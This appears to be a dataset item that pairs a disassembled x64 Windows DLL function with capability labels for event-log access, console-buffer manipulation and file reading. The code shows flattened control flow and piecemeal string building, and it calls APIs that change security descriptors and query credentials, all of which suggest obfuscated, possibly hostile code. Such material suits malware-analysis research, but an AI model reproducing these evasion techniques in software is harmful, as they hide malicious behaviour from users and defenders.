Function at 0x180072320
Capabilities:
Access the windows event log
Manipulate console buffer
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x960]
sub rsp, 0xa60
mov rax, qword [0x1800bf580]
xor rax, rsp
mov qword [rbp + 0x950], rax
mov r13d, edx
mov dword [rsp + 0x6c], edx
mov r14, rcx
mov qword [rbp - 0x78], rcx
mov ebx, edx
imul edi, edx, 0x948
xor edx, edx
lea r11d, [rdx + 0x65]
lea r8d, [rdx + 0x61]
lea r9d, [rdx + 0x63]
lea r10d, [rdx + 0x32]
cmp ebx, edi
ja 0x1800726d8
imul esi, r13d, 0x84
lea eax, [rdx + 0x74]
lea ecx, [rdx + 0x6e]
lea r15d, [rdx + 0x6c]
lea r12d, [rdx + 0x76]
nop dword [rax]
cmp ebx, 0x1d291
ja 0x1800725c8
je 0x1800725b9
cmp ebx, 0xaf3d
ja 0x1800724e4
je 0x1800724ab
cmp ebx, 0x1d
je 0x180072477
cmp ebx, 0x71
je 0x180072469
cmp ebx, 0x3ab5
je 0x180072417
cmp ebx, 0x74f9
jne 0x1800726ce
mov dword [rbp + 0x6fc], 0x474158
mov dword [rbp + 0x6ff], 0x5f4e4f
mov r8d, 2
lea rdx, [0x180097088]
lea rcx, [rbp + 0x702]
jmp 0x1800724bf
lea rcx, [rbp + 0x6f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180072421
movzx eax, word [0x18009d664]
mov word [rcx], ax
movzx eax, byte [0x18009d666]
mov byte [rcx + 2], al
movsd xmm0, qword [str.uiltin_HE]
movsd qword [rbp + 0x6f3], xmm0
movzx eax, word [0x18009d670]
mov word [rbp + 0x6fb], ax
mov eax, 0x74
lea ecx, [rax - 6]
jmp 0x1800726ce
mov word [rbp + 0x6f0], 0x5f
jmp 0x1800726ce
lea rcx, [0x181111c00]
mov edx, 8
mov eax, dword [r14]
cmp dword [rcx], eax
jne 0x180072496
mov dword [rcx], 0xffffffff
dec byte [0x181111a9b]
add rcx, 0x18
sub rdx, 1
jne 0x180072483
lea eax, [rdx + 0x74]
lea ecx, [rdx + 0x6e]
jmp 0x1800726ce
mov r8d, 3
lea rdx, [0x18009d674]
lea rcx, [rbp + 0x703]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov eax, 0x74
lea ecx, [rax - 6]
xor edx, edx
lea r8d, [rax - 0x13]
lea r9d, [rax - 0x11]
lea r10d, [rax - 0x42]
lea r11d, [rax - 0xf]
jmp 0x1800726ce
cmp ebx, 0xe981
je 0x180072568
cmp ebx, 0x123c5
je 0x180072551
cmp ebx, 0x15e09
je 0x180072529
cmp ebx, 0x1984d
jne 0x1800726ce
mov word [rbp + 0x710], r15w
mov dword [rbp + 0x712], 0x620069
mov dword [rbp + 0x716], 0x610065
jmp 0x1800726ce
mov word [rbp + 0x72e], r9w
mov dword [rbp + 0x730], 0x310072
mov dword [rbp + 0x734], 0x300032
mov word [rbp + 0x738], dx
jmp 0x1800726ce
mov dword [rbp + 0x728], 0x73006d
mov word [rbp + 0x72c], r12w
jmp 0x1800726ce
lea rcx, [rbp + 0x6f0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180072572
movzx eax, word [0x180097104]
mov word [rcx], ax
movzx eax, word [0x18009d678]
mov word [rbp + 0x706], ax
mov eax, dword [str._i_r]
mov dword [rbp + 0x708], eax
movzx eax, byte [0x18009d680]
mov byte [rbp + 0x70c], al
mov eax, 0x74
lea ecx, [rax - 6]
jmp 0x1800726ce
mov dword [rbp + 0x71a], 0x330079
jmp 0x1800726ce
cmp ebx, 0x2f5e5
ja 0x18007268c
je 0x18007263c
cmp ebx, 0x20cd5
je 0x18007262f
cmp ebx, 0x24719
je 0x180072612
cmp ebx, 0x2815d
je 0x180072606
cmp ebx, 0x2bba1
jne 0x1800726ce
mov word [rbp + 0x746], dx
jmp 0x1800726ce
mov word [rbp + 0x744], ax
jmp 0x1800726ce
mov word [rbp + 0x720], dx
mov dword [rbp + 0x740], 0x650064
mov word [rbp + 0x744], dx
jmp 0x1800726ce
mov word [rbp + 0x71e], r10w
jmp 0x1800726ce
mov r8d, 5
lea rdx, [0x18009d6fc]
lea rcx, [rbp + 0x740]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
movabs rax, 0x6e00610070005f
mov qword [rbp + 0x750], rax
mov r11d, 0x65
mov word [rbp + 0x758], r11w
lea eax, [r11 + 0xf]
lea ecx, [rax - 6]
xor edx, edx
lea r8d, [r11 - 4]
lea r9d, [r11 - 2]
lea r10d, [r11 - 0x33]
jmp 0x1800726ce
cmp ebx, 0x33029
je 0x1800726c7
cmp ebx, 0x36a6d
je 0x1800726ad
cmp ebx, 0x3a4b1
jne 0x1800726ce
mov word [rbp + 0x77c], cx
jmp 0x1800726ce
mov dword [rbp + 0x75a], r15d
mov dword [rbp + 0x778], 0x490043
mov word [rbp + 0x77c], dx
jmp 0x1800726ce
mov word [rbp + 0x75a], dx
add ebx, esi
cmp ebx, edi
jbe 0x1800723a0
lea eax, [r13 - 0x12]
mov dword [rsp + 0x74], eax
movzx ebx, byte [rsp + 0x40]
cmp r13d, eax
jbe 0x1800731f2
lea r12, [0x180000000]
mov edi, dword [rsp + 0x4c]
mov esi, dword [rsp + 0x48]
mov r15d, dword [rsp + 0x68]
movabs r10, 0x65006c0073
mov r9d, 0x73
lea r8d, [r9 - 0x36]
lea eax, [r13 - 0x60]
cmp eax, 0x11
ja case.0x18007272e.104
mov ecx, dword [r12 + rax*4 + 0x73284]
add rcx, r12
jmp rcx
mov dword [rsp + 0x7c], r8d
jmp case.0x18007272e.104
mov ecx, edx
movzx eax, byte [rsp + 0x43]
cmp qword [rbp - 0x68], 0xffffffffffffffff
cmovne ecx, eax
mov byte [rsp + 0x43], cl
lea rax, [rbp + 0x740]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
xor r9d, r9d
xor edx, edx
lea rcx, [rdx - 1]
lea r8d, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp - 0x58], rax
xor edx, edx
mov ecx, edx
movzx eax, byte [rsp + 0x42]
test r15d, r15d
cmove ecx, eax
mov byte [rsp + 0x42], cl
cmp cl, dl
je 0x1800727c1
mov qword [rsp + 0x30], rdx
mov rax, qword [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8d, esi
mov edx, edi
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor edx, edx
jmp case.0x18007272e.104
mov r8d, 3
lea rdx, [0x18009d70c]
lea rcx, [rbp + 0x768]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
mov r8d, 0xa
lea rdx, [rbp + 0x76c]
lea ecx, [r8 - 7]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itow]
xor edx, edx
jmp case.0x18007272e.104
lea rax, [rbp + 0x760]
mov qword [rbp + 0x2c0], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x38], rax
xor r15d, r15d
mov qword [rsp + 0x30], r15
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, dword [rsp + 0x48]
mov edx, dword [rsp + 0x4c]
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.ADVAPI32.dll_GetNamedSecurityInfoA]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x64], r15d
lea rdi, [rbp + 0x2b0]
mov qword [rsp + 0x58], rdi
nop dword [rax + rax]
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], 7
mov word [rbp - 8], r15w
mov r12d, 0xe5
mov dword [rsp + 0x50], r12d
mov r13d, r15d
mov dword [rsp + 0x60], r15d
cmp r13d, 9
ja case.default.0x1800728a2
mov eax, r13d
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x732cc]
add rcx, rdx
jmp rcx
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp - 0x60], rax
jmp case.default.0x1800728a2
cmp qword [rbp - 0x30], 0
jne case.default.0x1800728a2
mov edi, 0x65
nop dword [rax + rax]
cmp edi, 0x358
ja 0x180072a0f
je 0x1800729fe
cmp edi, 0x65
je 0x1800729ca
cmp edi, 0xfc
je 0x1800729b9
cmp edi, 0x193
je 0x180072957
cmp edi, 0x22a
je 0x180072930
cmp edi, 0x2c1
jne 0x180072afc
mov eax, 0x59
mov word [rbp + 0x6c7], ax
mov eax, 0x3d
mov word [rbp + 0x6c8], ax
jmp 0x180072afc
mov dword [rbp + 0x6c2], 0x3a5e54
mov eax, 0x37
mov word [rbp + 0x6c5], ax
mov eax, 0x53
mov word [rbp + 0x6c6], ax
jmp 0x180072afc
mov eax, 0x63
mov word [rbp + 0x6d9], ax
lea rax, [rbp + 0x6d0]
dec rax
nop dword [rax]
lea rax, [rax + 1]
cmp byte [rax], 0
jne 0x180072970
movzx ecx, word [0x18009d714]
mov word [rax], cx
movzx ecx, byte [0x18009d716]
mov byte [rax + 2], cl
movzx eax, word [0x18009d718]
mov word [rbp + 0x6dc], ax
movzx eax, byte [0x18009d71a]
mov byte [rbp + 0x6de], al
mov eax, 0x306c
mov word [rbp + 0x6c0], ax
jmp 0x180072afc
mov eax, 0x69
mov word [rbp + 0x6d8], ax
jmp 0x180072afc
movzx eax, word [0x18009d71c]
mov word [rbp + 0x6d0], ax
mov eax, dword [str.agnos]
mov dword [rbp + 0x6d2], eax
movzx eax, word [0x18009d724]
mov word [rbp + 0x6d6], ax
mov byte [rbp + 0x6d7], 0x74
jmp 0x180072afc
mov eax, 0x61
mov word [rbp + 0x6c9], ax
jmp 0x180072afc
cmp edi, 0x3ef
je 0x180072af7
cmp edi, 0x486
je 0x180072aed
cmp edi, 0x51d
je 0x180072ab4
cmp edi, 0x5b4
je 0x180072a91
cmp edi, 0x64b
jne 0x180072afc
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x1800731f2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180073225
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180073225
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp byte [rsp + 0x45], 0
je 0x180072ab0
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
xor bl, bl
jmp 0x180072afc
mov r8d, 0x104
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x6c0]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea rdx, [rbp + 0x6d0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov qword [rbp - 0x80], rax
cmp rax, 0
jne 0x180072afc
mov byte [rsp + 0x45], al
jmp 0x180072afc
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x40], r15
jmp 0x180072afc
mov byte [rsp + 0x45], 1
add edi, 0x97
cmp edi, 0x6e2
jb 0x1800728d0
mov rdi, qword [rsp + 0x58]
jmp case.default.0x1800728a2
mov eax, 0x73
mov word [rbp + 0x6ea], ax
mov byte [rsp + 0x41], 1
jmp case.default.0x1800728a2
mov rsi, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
cmp rsi, rcx
jae 0x180072b5c
lea rax, [rsi + 1]
mov qword [rbp + 8], rax
lea rax, [rbp - 8]
cmp rcx, 8
cmovae rax, qword [rbp - 8]
mov dword [rax + rsi*2], 0x2e
jmp case.default.0x1800728a2
movabs rdx, 0x7ffffffffffffffe
mov rax, rdx
sub rax, rsi
cmp rax, 1
jb 0x18007327d
lea r12, [rsi + 1]
mov r14, qword [rbp + 0x10]
mov rdi, r12
or rdi, 7
cmp rdi, rdx
jbe 0x180072b8f
mov rdi, rdx
jmp 0x180072bb0
mov rcx, r14
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp r14, rax
jbe 0x180072ba5
mov rdi, rdx
jmp 0x180072bb0
lea rax, [r14 + rcx]
cmp rdi, rax
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp - 8]
call fcn.1800497a0
mov r15, rax
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], rdi
add rsi, rsi
mov r8, rsi
mov rcx, rax
cmp r14, 8
jb 0x180072c22
mov rdi, qword [rbp - 8]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsi + r15], 0x2e
lea rdx, [r14*2 + 2]
cmp rdx, 0x1000
jb 0x180072c18
add rdx, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x180073233
mov rdi, rcx
mov rcx, rdi
call fcn.180093104
jmp 0x180072c33
lea rdx, [rbp - 8]
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsi + r15], 0x2e
mov qword [rbp - 8], r15
mov r12d, dword [rsp + 0x50]
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x58]
xor r15d, r15d
jmp case.default.0x1800728a2
mov qword [rbp - 0x60], 0xffffffffffffffff
jmp case.default.0x1800728a2
mov esi, r15d
movzx eax, byte [rsp + 0x40]
mov rdi, qword [rbp - 0x60]
cmp rdi, 0xffffffffffffffff
cmovne esi, eax
mov byte [rsp + 0x40], sil
cmp byte [rsp + 0x41], 0
je 0x180072c83
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_CredFree]
test sil, sil
je 0x180072cc4
lea r9, [rbp - 0x4c]
mov esi, 0x32
mov r8d, esi
lea rdx, [rbp + 0x2d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
lea r9, [rbp - 0x50]
mov r8d, esi
lea rdx, [rbp + 0x2d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov rdi, qword [rsp + 0x58]
jmp case.default.0x1800728a2
mov ecx, r15d
movzx eax, byte [rsp + 0x41]
cmp dword [rsp + 0x70], 0
cmovne ecx, eax
mov byte [rsp + 0x41], cl
jmp case.default.0x1800728a2
mov byte [rsp + 0x40], 1
mov rsi, qword [r14 + 0x10]
mov rdi, r14
cmp qword [r14 + 0x18], 8
jb 0x180072cfd
mov rdi, qword [r14]
cmp rsi, 8
jae 0x180072d16
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x18], xmm0
mov r15d, 7
mov r13, qword [rbp + 0x18]
jmp 0x180072d55
mov r15, rsi
or r15, 7
movabs rax, 0x7ffffffffffffffe
cmp r15, rax
cmova r15, rax
lea rdx, [r15 + 1]
lea rcx, [rbp + 0x18]
call fcn.1800497a0
mov r13, rax
mov qword [rbp + 0x18], rax
lea r8, [rsi*2 + 2]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x28], rsi
lea r14, [rbp + 0x18]
cmp r15, 8
cmovae r14, r13
cmp rsi, 8
jae 0x180072d7d
movups xmm0, xmmword [r14]
mov qword [rbp + 0x50], 7
jmp 0x180072dc1
mov rdi, rsi
or rdi, 7
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
cmova rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp + 0x38]
call fcn.1800497a0
mov qword [rbp + 0x38], rax
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x50], rdi
movups xmm0, xmmword [rbp + 0x38]
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x48], rsi
mov rcx, qword [rbp + 0x10]
cmp rcx, 8
jb 0x180072e09
lea rdx, [rcx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180072e04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007322c
call fcn.180093104
movups xmm0, xmmword [rbp + 0x18]
movups xmmword [rbp - 8], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 8], xmm0
cmp r15, 8
jb 0x180072e54
lea rdx, [r15*2 + 2]
mov rax, r13
cmp rdx, 0x1000
jb 0x180072e4c
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180073233
mov rcx, r13
call fcn.180093104
mov rdi, qword [rsp + 0x58]
mov rdx, qword [rdi]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x180072e63
lea rcx, [rbp - 8]
call fcn.1800498a0
xor edx, edx
mov r8d, 0x3e8
lea rcx, [rbp + 0x2d0]
call sub.VCRUNTIME140.dll_memset
mov r13d, dword [rsp + 0x60]
mov r14, qword [rbp - 0x78]
xor r15d, r15d
jmp case.default.0x1800728a2
mov eax, 0x54
mov word [rbp + 0x6e0], ax
lea r8d, [rax - 0x53]
lea rdx, [0x18009d728]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
mov dword [rbp + 0x6e2], 0x616572
mov eax, dword [str.tType]
mov dword [rbp + 0x6e5], eax
movzx eax, word [0x18009d730]
mov word [rbp + 0x6e9], ax
jmp case.default.0x1800728a2
mov r8d, 3
lea rdx, [0x180097318]
lea rcx, [rbp - 8]
call fcn.1800498a0
lea r8, [rbp - 0x38]
xor edx, edx
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.ADVAPI32.dll_CredGetTargetInfoA]
mov dword [rsp + 0x70], eax
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 8
cmovae rcx, qword [rbp - 8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rbp - 0x30], rax
inc r12d
mov dword [rsp + 0x50], r12d
inc r13d
mov dword [rsp + 0x60], r13d
cmp r12d, 0xef
jb 0x180072884
mov rcx, qword [rbp + 0x10]
cmp rcx, 8
jb 0x180072f8d
lea rdx, [rcx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180072f88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18007323a
call fcn.180093104
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
add rdi, 8
mov qword [rsp + 0x58], rdi
cmp eax, 3
jb 0x180072860
mov esi, dword [rsp + 0x48]
mov r15d, dword [rsp + 0x68]
mov r13d, dword [rsp + 0x6c]
xor edx, edx
lea r12, [0x180000000]
jmp 0x1800731db
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
jmp case.0x18007272e.104
movups xmm0, xmmword [rbp + 0x18]
movups xmmword [rbp + 0x2b0], xmm0
movsd xmm1, qword [rbp + 0x28]
movsd qword [rbp + 0x2c0], xmm1
mov byte [rsp + 0x44], 1
mov byte [rsp + 0x43], 1
mov qword [rbp - 0x70], rdx
jmp case.0x18007272e.104
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
xor r9d, r9d
lea r8, [rbp + 0x60]
xor edx, edx
lea rcx, [rbp + 0x778]
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rbp - 0x68], rax
xor edx, edx
jmp case.0x18007272e.104
mov word [rbp + 0x7ae], dx
mov r8d, 2
lea rdx, [0x18009d774]
lea rcx, [rbp + 0x7ae]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor edx, edx
mov word [rbp + 0x7b2], dx
jmp case.0x18007272e.104
mov word [rbp + 0x77e], dx
mov r8d, 1
lea rdx, [0x18009d7f6]
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
mov r8d, 3
lea rdx, [0x18009d898]
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
mov r8d, 2
lea rdx, [0x18009d912]
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
xor edx, edx
jmp case.0x18007272e.104
mov eax, dword [0x18009d974]
mov dword [rbp + 0x7a8], eax
movzx eax, word [0x18009d978]
mov word [rbp + 0x7ac], ax
jmp case.0x18007272e.104
mov r8d, 0xa
lea rdx, [rbp + 0x76e]
lea ecx, [r8 - 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__ltow]
mov byte [rsp + 0x42], 1
xor edx, edx
jmp case.0x18007272e.104
lea rax, [rbp + 0x710]
mov qword [rbp + 0x2b8], rax
xor edx, edx
mov r8d, 0x250
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x48], 4
mov esi, dword [rsp + 0x48]
xor edx, edx
jmp case.0x18007272e.104
mov dword [rbp + 0x760], r9d
mov qword [rbp + 0x762], r10
jmp case.0x18007272e.104
mov ecx, edx
movzx eax, byte [rsp + 0x44]
cmp qword [rbp - 0x58], 0
cmovne ecx, eax
mov byte [rsp + 0x44], cl
cmp byte [rsp + 0x43], 0
je case.0x18007272e.104
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
jmp case.0x18007272e.104
mov r8d, 5
lea rdx, [0x18009d9e2]
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
mov r8d, 5
lea rdx, [0x18009da4a]
lea rcx, [rbp + 0x794]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
xor edx, edx
mov word [rbp + 0x79e], dx
lea r8d, [rdx + 5]
lea rdx, [0x18009da90]
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncat]
xor edx, edx
jmp case.0x18007272e.104
mov dword [rsp + 0x78], edx
lea rax, [rbp + 0x728]
mov qword [rbp + 0x2b0], rax
mov dword [rsp + 0x4c], 1
mov edi, dword [rsp + 0x4c]
dec r13d
mov dword [rsp + 0x6c], r13d
cmp r13d, dword [rsp + 0x74]
ja 0x180072702
movzx eax, bl
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.1800938b0
lea r11, [rsp + 0xa60]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180093104
jmp 0x1800731f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [rsp + 0x44], 0
je 0x180073276
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x7c]
lea rdx, [rbp + 0x7c0]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1800731f5
call fcn.18003a870
int3